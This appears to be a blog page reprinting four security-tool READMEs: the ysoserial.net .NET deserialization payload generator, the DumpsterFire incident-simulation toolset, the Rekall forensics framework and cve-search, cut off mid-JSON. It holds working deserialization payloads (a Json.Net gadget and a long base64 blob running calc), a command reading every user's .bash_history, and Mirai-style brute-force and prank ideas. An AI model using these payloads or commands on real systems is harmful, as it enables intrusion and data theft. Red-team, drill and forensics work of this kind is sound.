Termux ID: Collection -->

    Social Items

Home / Collection

A proof-of-concept tool for generating payloads that exploit unsafe .NET object deserialization.

Description
ysoserial.net is a collection of utilities and property-oriented programming "gadget chains" discovered in common .NET libraries that can, under the right conditions, exploit .NET applications performing unsafe deserialization of objects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes this data, the chain will automatically be invoked and cause the command to be executed on the application host.
It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having gadgets on the classpath.

This project is inspired by Chris Frohoff's ysoserial project

Usage
$ ./ysoserial -h
ysoserial.net generates deserialization payloads for a variety of .NET formatters.

Available formatters:
        ActivitySurrogateSelector (ActivitySurrogateSelector gadget by James Forshaw. This gadget ignores the command parameter and executes the constructor of ExploitClass class.)
                Formatters:
                        BinaryFormatter
                        ObjectStateFormatter
                        SoapFormatter
                        LosFormatter
        ObjectDataProvider (ObjectDataProvider Gadget by Oleksandr Mirosh and Alvaro Munoz)
                Formatters:
                        Json.Net
                        FastJson
                        JavaScriptSerializer
        PSObject (PSObject Gadget by Oleksandr Mirosh and Alvaro Munoz. Target must run a system not patched for CVE-2017-8565 (Published: 07/11/2017))
                Formatters:
                        BinaryFormatter
                        ObjectStateFormatter
                        SoapFormatter
                        NetDataContractSerializer
                        LosFormatter
        TypeConfuseDelegate (TypeConfuseDelegate gadget by James Forshaw)
                Formatters:
                        BinaryFormatter
                        ObjectStateFormatter
                        NetDataContractSerializer
                        LosFormatter
        WindowsIdentity (WindowsIdentity Gadget by Levi Broderick)
                Formatters:
                        Json.Net


Usage: ysoserial.exe [options]
Options:
  -o, --output=VALUE         the output format (raw|base64).
  -g, --gadget=VALUE         the gadget chain.
  -f, --formatter=VALUE      the formatter.
  -c, --command=VALUE        the command to be executed.
  -t, --test                 whether to run payload locally. Default: false
  -h, --help                 show this message and exit

Examples
$ ./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd','/ccalc']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
$ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
AAEAAAD/////AQAAAAAAAAAMAgAAAF9TeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLCBWZXJzaW9uPTMuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQUBAAAAJVN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uUFNPYmplY3QBAAAABkNsaVhtbAECAAAABgMAAACJFQ0KPE9ianMgVmVyc2lvbj0iMS4xLjAuMSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vcG93ZXJzaGVsbC8yMDA0LzA0Ij4mI3hEOw0KPE9iaiBSZWZJZD0iMCI+JiN4RDsNCiAgICA8VE4gUmVmSWQ9IjAiPiYjeEQ7DQogICAgICA8VD5NaWNyb3NvZnQuTWFuYWdlbWVudC5JbmZyYXN0cnVjdHVyZS5DaW1JbnN0YW5jZSNTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uL1J1bnNwYWNlSW52b2tlNTwvVD4mI3hEOw0KICAgICAgPFQ+TWljcm9zb2Z0Lk1hbmFnZW1lbnQuSW5mcmFzdHJ1Y3R1cmUuQ2ltSW5zdGFuY2UjUnVuc3BhY2VJbnZva2U1PC9UPiYjeEQ7DQogICAgICA8VD5NaWNyb3NvZnQuTWFuYWdlbWVudC5JbmZyYXN0cnVjdHVyZS5DaW1JbnN0YW5jZTwvVD4mI3hEOw0KICAgICAgPFQ+U3lzdGVtLk9iamVjdDwvVD4mI3hEOw0KICAgIDwvVE4+JiN4RDsNCiAgICA8VG9TdHJpbmc+UnVuc3BhY2VJbnZva2U1PC9Ub1N0cmluZz4mI3hEOw0KICAgIDxPYmogUmVmSWQ9IjEiPiYjeEQ7DQogICAgICA8VE5SZWYgUmVmSWQ9IjAiIC8+JiN4RDsNCiAgICAgIDxUb1N0cmluZz5SdW5zcGFjZUludm9rZTU8L1RvU3RyaW5nPiYjeEQ7DQogICAgICA8UHJvcHM+JiN4RDsNCiAgICAgICAgPE5pbCBOPSJQU0NvbXB1dGVyTmFtZSIgLz4mI3hEOw0KCQk8T2JqIE49InRlc3QxIiBSZWZJZCA9IjIwIiA+ICYjeEQ7DQogICAgICAgICAgPFROIFJlZklkPSIxIiA+ICYjeEQ7DQogICAgICAgICAgICA8VD5TeXN0ZW0uV2luZG93cy5NYXJrdXAuWGFtbFJlYWRlcltdLCBQcmVzZW50YXRpb25GcmFtZXdvcmssIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1PC9UPiYjeEQ7DQogICAgICAgICAgICA8VD5TeXN0ZW0uQXJyYXk8L1Q+JiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5PYmplY3Q8L1Q+JiN4RDsNCiAgICAgICAgICA8L1ROPiYjeEQ7DQogICAgICAgICAgPExTVD4mI3hEOw0KICAgICAgICAgICAgPFMgTj0iSGFzaCIgPiAgDQoJCSZsdDtSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSImZ3Q7DQoJICZsdDtPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgJmd0Ow0KICAgICAmbHQ7T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnMmZ3Q7DQogICAgICAgICZsdDtTeXN0ZW06U3RyaW5nJmd0O2NtZCZsdDsvU3lzdGVtOlN0cmluZyZndDsNCiAgICAgICAgJmx0O1N5c3RlbTpTdHJpbmcmZ3Q7L2MgImNhbGMiICZsdDsvU3lzdGVtOlN0cmluZyZndDsNCiAgICAgJmx0Oy9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycyZndDsNCiAgICAmbHQ7L09iamVjdERhdGFQcm92aWRlciZndDsNCiZsdDsvUmVzb3VyY2VEaWN0aW9uYXJ5Jmd0Ow0KCQkJPC9TPiYjeEQ7DQogICAgICAgICAgPC9MU1Q+JiN4RDsNCiAgICAgICAgPC9PYmo+JiN4RDsNCiAgICAgIDwvUHJvcHM+JiN4RDsNCiAgICAgIDxNUz4mI3hEOw0KICAgICAgICA8T2JqIE49Il9fQ2xhc3NNZXRhZGF0YSIgUmVmSWQgPSIyIj4gJiN4RDsNCiAgICAgICAgICA8VE4gUmVmSWQ9IjEiID4gJiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5Db2xsZWN0aW9ucy5BcnJheUxpc3Q8L1Q+JiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5PYmplY3Q8L1Q+JiN4RDsNCiAgICAgICAgICA8L1ROPiYjeEQ7DQogICAgICAgICAgPExTVD4mI3hEOw0KICAgICAgICAgICAgPE9iaiBSZWZJZD0iMyI+ICYjeEQ7DQogICAgICAgICAgICAgIDxNUz4mI3hEOw0KICAgICAgICAgICAgICAgIDxTIE49IkNsYXNzTmFtZSI+UnVuc3BhY2VJbnZva2U1PC9TPiYjeEQ7DQogICAgICAgICAgICAgICAgPFMgTj0iTmFtZXNwYWNlIj5TeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uPC9TPiYjeEQ7DQogICAgICAgICAgICAgICAgPE5pbCBOPSJTZXJ2ZXJOYW1lIiAvPiYjeEQ7DQogICAgICAgICAgICAgICAgPEkzMiBOPSJIYXNoIj40NjA5MjkxOTI8L0kzMj4mI3hEOw0KICAgICAgICAgICAgICAgIDxTIE49Ik1pWG1sIj4gJmx0O0NMQVNTIE5BTUU9IlJ1bnNwYWNlSW52b2tlNSIgJmd0OyZsdDtQUk9QRVJUWSBOQU1FPSJ0ZXN0MSIgVFlQRSA9InN0cmluZyIgJmd0OyZsdDsvUFJPUEVSVFkmZ3Q7Jmx0Oy9DTEFTUyZndDs8L1M+JiN4RDsNCiAgICAgICAgICAgICAgPC9NUz4mI3hEOw0KICAgICAgICAgICAgPC9PYmo+JiN4RDsNCiAgICAgICAgICA8L0xTVD4mI3hEOw0KICAgICAgICA8L09iaj4mI3hEOw0KICAgICAgPC9NUz4mI3hEOw0KICAgIDwvT2JqPiYjeEQ7DQogICAgPE1TPiYjeEQ7DQogICAgICA8UmVmIE49Il9fQ2xhc3NNZXRhZGF0YSIgUmVmSWQgPSIyIiAvPiYjeEQ7DQogICAgPC9NUz4mI3hEOw0KICA8L09iaj4mI3hEOw0KPC9PYmpzPgs=

Contributing
  • Fork it
  • Create your feature branch (git checkout -b my-new-feature)
  • Commit your changes (git commit -am 'Add some feature')
  • Push to the branch (git push origin my-new-feature)
  • Create new Pull Request

Additional Reading


ysoserial.net - Deserialization payload generator for a variety of .NET formatters


DumpsterFire Toolset - "Security Incidents In A Box!"

The DumpsterFire Toolset is a modular, menu-driven, cross-platform tool for building repeatable, time-delayed, distributed security events. Easily create custom event chains for Blue Team drills and sensor / alert mapping. Red Teams can create decoy incidents, distractions, and lures to support and scale their operations. Turn paper tabletop exercises into controlled "live fire" range events. Build event sequences ("narratives") to simulate realistic scenarios and generate corresponding network and filesystem artifacts.

The toolset is designed to be dynamically extensible, allowing you to create your own Fires (event modules) to add to the included collection of toolset Fires. Just write your own Fire module and drop it into the FireModules directory. The DumpsterFire toolset will auto-detect your custom Fires at startup and make them available for use.

Author
Joe Gervais (TryCatchHCF)

Why
Red Teams and Blue Teams are typically overextended. What's missing is a way to scale each team's capabilites, providing more effective Red Team activity, and more realistic (and helpful) Blue Team / Purple Team exercises. Automation to the rescue! The DumpsterFire Toolset is a cross-platform menu-driven solution that allows you to easily create custom security incidents by combining modular, chained events into a consistent narrative. Those collection of events (DumpsterFires) can then be executed as time-delayed, automated processes. (They can also be triggered immediately, of course.)
The result? While you're in a meeting or out enjoying life, your DumpsterFire is waiting for its date-time trigger to activate. On a Red Team engagement, while you're busy exploiting that exposed service on a forgotten B2B server, your cloned & time-sychronized DumpsterFires are busy lighting up the target organization's SIEM on a far-away subnet, distracting their response team. Blue Teamers can turn table-top paper exercises into "live fire" range events, with controlled, pre-approved DumpsterFire event chains to trigger sensors and alerts, and train your analysts using their actual operational environment. Purple Team operations can now execute methodical, repeatable event chains to consistently map out their sensor and alerting posture. You can generate novel scenarios to test and train your teams, getting ahead of the threat space to be prepared for security contingencies.
Ever wondered how your Blue Team would respond to Mirai bot activity on your internal network? Now you can find out! (Don't worry, the Mirai bot Fire module doesn't pivot, but it does use the same usernames & passwords to brute-force telnet sessions across the target network.)
Don’t have a Red Team but wish you had an easy way to run controlled, repeatable, customized drills against all of your SOC shift teams? Done!
Wish you could support a Red Team engagement against a remote team that’s 7 timezones away, without waking up at 3:00am? Hit that snooze button!
Ever wanted to simultaneously rickroll all of your opponents’ systems during your annual cyberwarfare exercise? "Never gonna let you down!"
See sample DumpsterFires below. And of course the Shenanigans section.

Tutorial
See my CactusCon 2017 slides (included in project). The slides are written to stand on their own, providing background, approaches, specific use cases, and more. They'll put everything in context, and also won't put you to sleep. Unless they do put you to sleep, in which case you probably needed some rest anyway, so really we all come out ahead here.

Accountability
DumpsterFire creates a date-time stamped event log so that Red- and Blue teams can coordinate and track events, correlating them to what was detected (or not detected) by your sensors, which alerts did or did not trigger, etc. It also allows teams to confirm which events were part of your operation / exercise, keeping everyone out of trouble. All date-time tracking is performed in UTC, so your global operations can be easily correlated without worrying about conversions between timezones and international date lines.
The auto-generated date-time stamped event logs also provide an effortless value add to your engagements. Generate a collection of DumpsterFires for your client engagements, tailored to their attack surfaces. At the end of your operations you can hand over the logs as a bonus Purple Team deliverable to your client for post-engagement analysis.

Overview
The DumpsterFire toolset workflow is designed to be user-friendly and robust. Everything can be done from within the menu-driven dumpsterFireFactory.py script. Launch the script and the tool will guide you as you go. You can start by browsing the existing Fire modules and saved DumpsterFires. When you're ready to create your own DumpsterFires, the tool will lead through the workflow to get the job done. Finally it will be time to ignite your DumpsterFire. After selecting the DumpsterFire of your choice, you'll review the DumpsterFire's Fire modules and settings. If everything looks good, light it up!
When you're building a DumpsterFire, after you've chosen all of the Fire modules you wish to include, the tool will loop through the list of Fires. If a Fire has options for custom settings, the tool will call that Fire's Configure() method to present you with prompts for its settings (e.g. a target network's IP address).
Once all of the Fires have been configured, you'll then be given the option to assign individual time delays to your Fires. This allows the DumpsterFire to better mimic real operations when executing its chain of events. For example, the first Fire may visit various hacking Websites, the next Fire then downloads a few common hacking tools before launching the third Fire which starts scanning the local network. If this all happened within seconds of each other, no SOC analyst is going to believe it was a human. By adding several minutes or even hours between those events, you create a more realistic chain of events.
After all of the Fires have been configured and optional individual Fire delays assigned, you'll be asked to name your DumpsterFire. Do not use spaces or odd special characterse, just stick to letters, numbers, underscores, and hyphens.
Voila! You have now created your first DumpsterFire. Time to light one up!
When you're ready to ignite a DumpsterFire, the tool will first show you the DumpsterFire's settings. If everything looks good, you'll be asked if you want to assign a date-time delay before igniting. All date-time processing is done in UTC to ensure consistent execution regardless of your DumpsterFire's location of execution. Otherwise you can decline the date-time delay and execution will begin immediately after you give final confirmation.
As the DumpsterFire executes, you'll be given regular date-time stamped feedback on each Fire's status and critical events. This not only helps you track progress, but also provides a chronological record of your DumpsterFire's activities - critical in coordinating and deconflicting your events from the general background noise that floods every SOC. You can also hand over the chronological record to your external clients after your operations are complete, as a value-added record of your activites that they can use to review their sensor and alert settings. All with no extra effort on your part.

Shenanigans
April 1st happens! So do cyber wargames or your best friend's birthday. Some circumstances call for a little extra something. Finally infiltrate your opponent's perimeter in that net wars competition? Celebrate with Shenanigans while locking in your victory! Best friend leave their screen unlocked on game night? Sharing is caring! DumpsterFire's Shenanigans let you add some flavor to your operation.
Want to open the system's default browser and stream all of that Rick Astley awesomeness? After setting their system volume to maximum? How about opening any URL you choose? Or setting the system's shell aliases to pretend the filesystem is corrupted?


Files & Directories
dumpsterFireFactory.py - Menu-driven tool for creating, configuring, scheduling, and executing DumpsterFires
FireModules/ - Directory that contains subdirectories of Fires, each subdirectory is a specific Category of Fires to keep your Fire modules organized. Fires are added to a DumpsterFire to create a chain of events and actions.
DumpsterFires/ - Directory containing your collection of DumpsterFires
igniteDumpsterFire.py - Headless script, invoked at command line with the filename of the DumpsterFire you wish to execute. Useful for igniting distributed DumpsterFires.
testFireModule.py - Utility script for unit testing the Class methods of your custom Fire modules, without the hassle of running through the entire DumpsterFire Factory process to debug. Also useful for running a single Fire to check your settings. testFireModule.py will prompt you for configuration settings were applicable.
__init__.py files - Required to make Python treat directories as containing Python packages, allows DumpsterFire toolset to find and load Fire modules.

Requirements
Python 2.7.x

Run DumpsterFire Factory
$ ./dumpsterFireFactory.py

Creating a DumpsterFire:
The menu-driven DumpsterFire Factory script guides you through each step, with context-appropriate help along the way.



Sample DumpsterFires
In our first example, we have a DumpsterFire that could be either a SOC drill or a Red Team distraction. The DumpsterFire first does a Google search for hacking tools. The next Fire opens Web sessions to various hacking Websites. Next, a following Fire downloads some common hacking tools. Then a port scan targets the subnetwork, followed by bruteforce login attempts against a single host via Telnet. The final Fire runs a series of Linux commands. Note that between each Fire, the creator of this DumpsterFire has inserted some time delays. This makes the flow of events appear more realistic.



In the next example, Purple Teamers have created a DumpsterFire to help analyze and validate their sensor and alerting configurations. This DumpsterFire runs a choreographed series of port scans, each targeting different collections of ports & services, with varying probe rates as well. They've inserted a 5 minute delay between each scanning Fire to simplify isolating the traffic associated with each scanning Fire. When they run this DumpsterFire, they'll also see date-timestamps at the beginning of each Fire to help them deconflict the Fire's network activity vs. other network events.


Customizing Your Dumpster Fires
DumpsterFire's modular design gives you flexibility to create any number of event-chain narratives. Fire modules that have configurable settings allow you to set target networks or system, etc. There are a few Fire modules, however, that give you immediate flexibility to greatly expand your DumpsterFire event sequences.
Without creating any new FireModule classes, you can use these existing "custom" Fire modules to leverage and extend your DumpsterFires:
  • FireModules/Websurfing/custom_url.py
  • FireModules/FileDownloads/download_custom_url.py
  • FireModules/OSCommand/os_linux_unix_command.py
  • FireModules/OSCommand/os_win_cmd_command.py
  • FireModules/OSCommand/os_win_powershell_script.py
  • FireModules/OSCommand/os_osx_applescript_command.py
You can add any number of these to your DumpsterFire, each with its own custom actions. For example, you could chain together a dozen 'custom_url.py' Fire modules to build a complete, tailored browsing narrative. You could then have various 'OSCommand/' Fire instances that execute system commands to further reinforce your desired narrative of events. The 'OSCommand/' Fires in particular give you incredible flexbility. Each individual Fire in your DumpsterFire event chain takes any shell commands that are appropriate for the host's OS:
Example: Linux/Unix (& OSX terminal)
find /home -name '*.bash_history' -exec cat {} ; ; echo "Never gonna give you up" > rickroll.txt ; wall rickroll.txt

Write Your Own Custom Fire Modules
DumpsterFire is ready to use out of the box, but it's real value is in how easily you can extend DumpsterFire's scenario toolchest by creating your own custom Fire modules. By creating and tailoring Fire modules to match your specific needs, you can quickly expand the types of DumpsterFire scenarios you can build and execute. Simply write your new Fire module and drop it into an existing directory under FireModules/ and the DumpsterFire toolset will automatically load it at runtime & make it available.
Want to keep your custom Fire modules completely separate in their own Category? Easy! Just create a new directory under FireModules/ and the DumpsterFire toolset will auto-detect and make it available as a new Category of Fires.
NOTE: Be sure your new directory has an empty file named __init__.py otherwise the Python package manager won't be able to find it, and DumpsterFire won't see it.



Your Fire module inherits from a class called FireModule. As a starting point, you can copy an existing Fire module. Be sure to change the filename and all classname references in the file to match your new Fire. (Update the Category path references in the class's constructor methods too, if needed.)
Required Class Methods:
Configure() - Prompts user for input, populates FireModule’s parameters
Description() - Return a string containing a description of the FireModule
GetParameters() - Returns a single string of Fire's parameters
SetParameters( string ) - Takes a single string & populates Fire's members
ActivateLogging( boolean ) - Sets flag for Fire to generate a log of its activities (great for review) NOTE: For initial release, logging to stdout is always on.
Ignite() - Executes Fire's actions

Utility Scripts
Testing Python classes can be annoying, especially when you want to unit test each of the class's methods, forcing you to slog through all the application's use cases to make sure each class method is executed in proper order. Bleh. So I've written and included a script that will properly invoke each method of your new FireModule-derived classes, enabling you to quickly churn-and-burn your way through debugging. You're welcome. :-) Also a great way to run a Fire by itself to test your settings, see what it does, etc.
At the command line, give the testFireModule.py script the relative filepath to your custom Fire module. The test script will call each of the required FireModule methods for you, in proper sequence (getting configuration prior to saving, etc.). The test script doesn't use exception handling, because Python only gives you useful errors (like pointing out that missing double-quote) when it crashes. Crash and burn your way to a successful custom Fire!


DumpsterFire - Security Incidents In A Box!


The Rekall Framework is a completely open collection of tools, implemented in Python under the Apache and GNU General Public License, for the extraction and analysis of digital artifacts computer systems.
The Rekall distribution is available from: http://www.rekall-forensic.com/
Rekall should run on any platform that supports Python
Rekall supports investigations of the following 32bit and 64bit memory images:
  • Microsoft Windows XP Service Pack 2 and 3
  • Microsoft Windows 7 Service Pack 0 and 1
  • Microsoft Windows 8 and 8.1
  • Microsoft Windows 10
  • Linux Kernels 2.6.24 to 4.4.
  • OSX 10.7-10.12.x.
Rekall also provides a complete memory sample acquisition capability for all major operating systems (see the tools directory).

Quick start
Rekall is available as a python package installable via the pip package manager. To install it, first create a virtal env, switch to it and then install rekall:
$ virtualenv  /tmp/MyEnv
New python executable in /tmp/MyEnv/bin/python
Installing setuptools, pip...done.
$ source /tmp/MyEnv/bin/activate
$ pip install --upgrade setuptools pip wheel
$ pip install rekall-agent rekall
For windows, Rekall is also available as a self contained installer package. Please check the download page for the most appropriate installer to use Rekall-Forensic.com
To install from this git repository you will need to use pip --editable and follow the correct order of installation (otherwise pip will pull released dependencies which might be older):
$ virtualenv  /tmp/MyEnv
New python executable in /tmp/MyEnv/bin/python
Installing setuptools, pip...done.
$ source /tmp/MyEnv/bin/activate
$ pip install --upgrade setuptools pip wheel
$ git clone https://github.com/google/rekall.git rekall
$ pip install --editable rekall/rekall-lib
$ pip install --editable rekall/rekall-core
$ pip install --editable rekall/rekall-agent
$ pip install --editable rekall
On Windows you will need to install the Microsoft Visual C compilers for python (for more info see this blog post http://rekall-forensic.blogspot.ch/2015/09/installing-rekall-on-windows.html)

History
In December 2011, a new branch within the Volatility project was created to explore how to make the code base more modular, improve performance, and increase usability. The modularity allowed Volatility to be used in GRR, making memory analysis a core part of a strategy to enable remote live forensics. As a result, both GRR and Volatility would be able to use each other's strengths.
Over time this branch has become known as the "scudette" branch or the "Technology Preview" branch. It was always a goal to try to get these changes into the main Volatility code base. But, after two years of ongoing development, the "Technology Preview" was never accepted into the Volatility trunk version.
Since it seemed unlikely these changes would be incorporated in the future, it made sense to develop the Technology Preview branch as a separate project. On December 13, 2013, the former branch was forked to create a new stand-alone project named "Rekall.” This new project incorporates changes made to streamline the codebase so that Rekall can be used as a library. Methods for memory acquisition and other outside contributions have also been included that were not in the Volatility codebase.
Rekall strives to advance the state of the art in memory analysis, implementing the best algorithms currently available and a complete memory acquisition and analysis solution for at least Windows, OSX and Linux.

More documentation
Further documentation is available at http://www.rekall-forensic.com/


Rekall v1.7 - Forensic and Incident Response Framework



cve-search is a tool to import CVE (Common Vulnerabilities and Exposures) and CPE (Common Platform Enumeration) into a MongoDB to facilitate search and processing of CVEs.
The main objective of the software is to avoid doing direct and public lookup into the public CVE databases. This is usually faster to do local lookups and limits your sensitive queries via the Internet.
cve-search includes a back-end to store vulnerabilities and related information, an intuitive web interface for search and managing vulnerabilities, a series of tools to query the system and a web API interface.
cve-search is used by many organizations including the public CVE services of CIRCL.

Requirements
The requirements can be installed with pip:
sudo pip3 install -r requirements.txt

Installation of MongoDB
First, you'll need to have a Python 3 installation (3.3 or higher). Then you need to install MongoDB (2.2) from source (this should also work with any standard packages from your favorite distribution). Don't forget to install the headers for development while installing MongoDB. You can go to http://docs.mongodb.org/manual/installation/ for to get the packages for your distribution, or http://www.mongodb.org/downloads for the source code.

Populating the database
For the initial run, you need to populate the CVE database by running:
./sbin/db_mgmt.py -p
./sbin/db_mgmt_cpe_dictionary.py
./sbin/db_updater.py -c
It will fetch all the existing XML files from the Common Vulnerabilities and Exposures database and the Common Platform Enumeration. The initial Common Platform Enumeration (CPE) import might take some time depending of your configuration.
If you want to add the cross-references from NIST, Red Hat and other vendors:
./sbin/db_mgmt_ref.py
A more detailed documentation can be found in the Documentations folder of the project.

Databases and collections
The MongoDB database is called cvedb and there are 11 collections:
  • cves (Common Vulnerabilities and Exposure items) - source NVD NIST
  • cpe (Common Platform Enumeration items) - source NVD NIST
  • cwe (Common Weakness Enumeration items) - source NVD NIST
  • capec (Common Attack Pattern Enumeration and Classification) - source NVD NIST
  • ranking (ranking rules per group) - local cve-search
  • d2sec (Exploitation reference from D2 Elliot Web Exploitation Framework) - source d2sec.com
  • MITRE Reference Key/Maps - source MITRE reference Key/Maps
  • ms - (Microsoft Bulletin (Security Vulnerabilities and Bulletin)) - source Microsoft
  • exploitdb (Offensive Security - Exploit Database) - source offensive security
  • info (metadata of each collection like last-modified) - local cve-search
  • via4 VIA4CVE cross-references.
The Redis database has 3 databases:
  • 10: The cpe (Common Platform Enumeration) cache - source MongoDB cvedb collection cpe
  • 11: The notification database - source cve-search
  • 12: The CVE reference database is a cross-reference database to CVE ids against various vendors ID - source NVD NIST/MITRE
The reference database has 3 additional sources:

Updating the database
An updater script helps to start the db_mgmt_*
./sbin/db_updater.py -v
You can run it in a crontab, logging is done in syslog by default.

Repopulating the database
To easily drop and re-populate all the databases
./sbin/db_updater.py -v -f
This will drop all the existing external sources and reimport everything. This operation can take some time and it's usually only required when new attributes parsing are added in cve-search.

Usage
You can search the database using search.py
./bin/search.py -p cisco:ios:12.4
./bin/search.py -p cisco:ios:12.4 -o json
./bin/search.py -f nagios -n
./bin/search.py -p microsoft:windows_7 -o html
If you want to search all the WebEx vulnerabilities and only printing the official references from the supplier.
./bin/search.py -p webex: -o csv  -v "cisco"
You can also dump the JSON for a specific CVE ID.
./bin/search.py -c CVE-2010-3333
Or you can use the XMPP bot
./bin/search_xmpp.py -j mybot@jabber.org -p strongpassword
Or dump the last 2 CVE entries in RSS or Atom format
./bin/dump_last.py -f atom -l 2
Or you can use the webinterface.
./web/index.py

Usage of the ranking database
There is a ranking database allowing to rank software vulnerabilities based on their common platform enumeration name. The ranking can be done per organization or department within your organization or any meaningful name for you.
As an example, you can add a partial CPE name like "sap:netweaver" which is very critical for your accounting department.
./sbin/db_ranking.py  -c "sap:netweaver" -g "accounting" -r 3
and then you can lookup the ranking (-r option) for a specific CVE-ID:
./bin/search.py -c CVE-2012-4341  -r  -n

Advanced usage
As cve-search is based on a set of tools, it can be used and combined with standard Unix tools. If you ever wonder what are the top vendors using the term "unknown" for their vulnerabilities:
python3 bin/search_fulltext.py -q unknown -f | jq -c '. | .vulnerable_configuration[0]' | cut -f5 -d: | sort  | uniq -c  | sort -nr | head -10

1500 oracle
381 sun
372 hp
232 google
208 ibm
126 mozilla
103 microsoft
100 adobe
 78 apple
 68 linux
You can compare CVSS (Common Vulnerability Scoring System ) values of some products based on their CPE name. Like comparing oracle:java versus sun:jre and using R to make some statistics about their CVSS values:
python3 bin/search.py -p oracle:java -o json  | jq -r '.cvss' | Rscript -e 'summary(as.numeric(read.table(file("stdin"))[,1]))'
Min. 1st Qu.  Median    Mean 3rd Qu.    Max.
1.800   5.350   9.300   7.832  10.000  10.000


python3 bin/search.py -p sun:jre -o json  | jq -r '.cvss' | Rscript -e 'summary(as.numeric(read.table(file("stdin"))[,1]))'
Min. 1st Qu.  Median    Mean 3rd Qu.    Max.
0.000   5.000   7.500   7.333  10.000  10.000

Fulltext indexing
If you want to index all the CVEs from your current MongoDB collection:
./sbin/db_fulltext.py
and you query the fulltext index (to get a list of matching CVE-ID):
./bin/search_fulltext.py -q NFS -q Linux
or to query the fulltext index and output the JSON object for each CVE-ID:
./bin/search_fulltext.py -q NFS -q Linux -f

Fulltext visualization
The fulltext indexer visualization is using the fulltext indexes to build a list of the most common keywords used in CVE. NLTK is required to generate the keywords with the most common English stopwords and lemmatize the output. NTLK for Python 3 exists but you need to use the alpha version of NLTK.
./bin/search_fulltext.py  -g -s >cve.json


You can see a visualization on the demo site.

Web interface
The web interface is a minimal interface to see the last CVE entries and query a specific CVE. You'll need flask in order to run the website and Flask-PyMongo. To start the web interface:
cd ./web
./index.py
Then you can connect on http://127.0.0.1:5000/ to browser the last CVE.

Web API interface
The web interface includes a minimal JSON API to get CVE by ID, by vendor or product. A public version of the API is also accessible on cve.circl.lu.
List the know vendors in JSON
curl http://127.0.0.1:5000/api/browse/
Dump the product of a specific vendor in JSON
curl  http://127.0.0.1:5000/api/browse/zyxel 
{
  "product": [
    "n300_netusb_nbg-419n",
    "n300_netusb_nbg-419n_firmware",
    "p-660h-61",
    "p-660h-63",
    "p-660h-67",
    "p-660h-d1",
    "p-660h-d3",
    "p-660h-t1",
    "p-660h-t3",
    "p-660hw",
    "p-660hw_d1",
    "p-660hw_d3",
    "p-660hw_t3"
  ],
  "vendor": "zyxel"
}
Find the associated vulnerabilities to a vendor and a product
curl  http://127.0.0.1:5000/api/search/zyxel/p-660hw
[{"cwe": "CWE-352", "references": ["http://www.exploit-db.com/exploits/33518", "http://secunia.com/advisories/58513", "http://packetstormsecurity.com/files/126812/Zyxel-P-660HW-T1-Cross-Site-Request-Forgery.html", "http://osvdb.org/show/osvdb/107449"], "vulnerable_configuration": ["cpe:/h:zyxel:p-660hw:_t1:v3"], "Published": "2014-06-16T14:55:09.713-04:00", "id": "CVE-2014-4162", "Modified": "2014-07-17T01:07:29.683-04:00", "cvss": 6.8, "summary": "Multiple cross-site request forgery (CSRF) vulnerabilities in the Zyxel P-660HW-T1 (v3) wireless router allow remote attackers to hijack the authentication of administrators for requests that change the (1) wifi password or (2) SSID via a request to Forms/WLAN_General_1."}, {"cwe": "CWE-20", "references": ["http://www.kb.cert.org/vuls/id/893726"], "vulnerable_configuration": ["cpe:/h:zyxel:p-660h-63:-", "cpe:/h:zyxel:p-660h-t1:-", "cpe:/h:zyxel:p-660h-d3:-", "cpe:/h:zyxel:p-660h-t3:v2", "cpe:/h:zyxel:p-660h-t1:v2", "cpe:/h:zyxel:p-660h-d1:-", "cpe:/h:zyxel:p-660h-67:-", "cpe:/h:zyxel:p-660h-61:-", "cpe:/h:zyxel:p-660hw_t3:v2", "cpe:/h:zyxel:p-660hw_t3:-", "cpe:/h:zyxel:p-660hw_d3:-", "cpe:/h:zyxel:p-660hw_d1:v2", "cpe:/h:zyxel:p-660hw_d1:-", "cpe:/h:zyxel:p-660hw:_t1:v2", 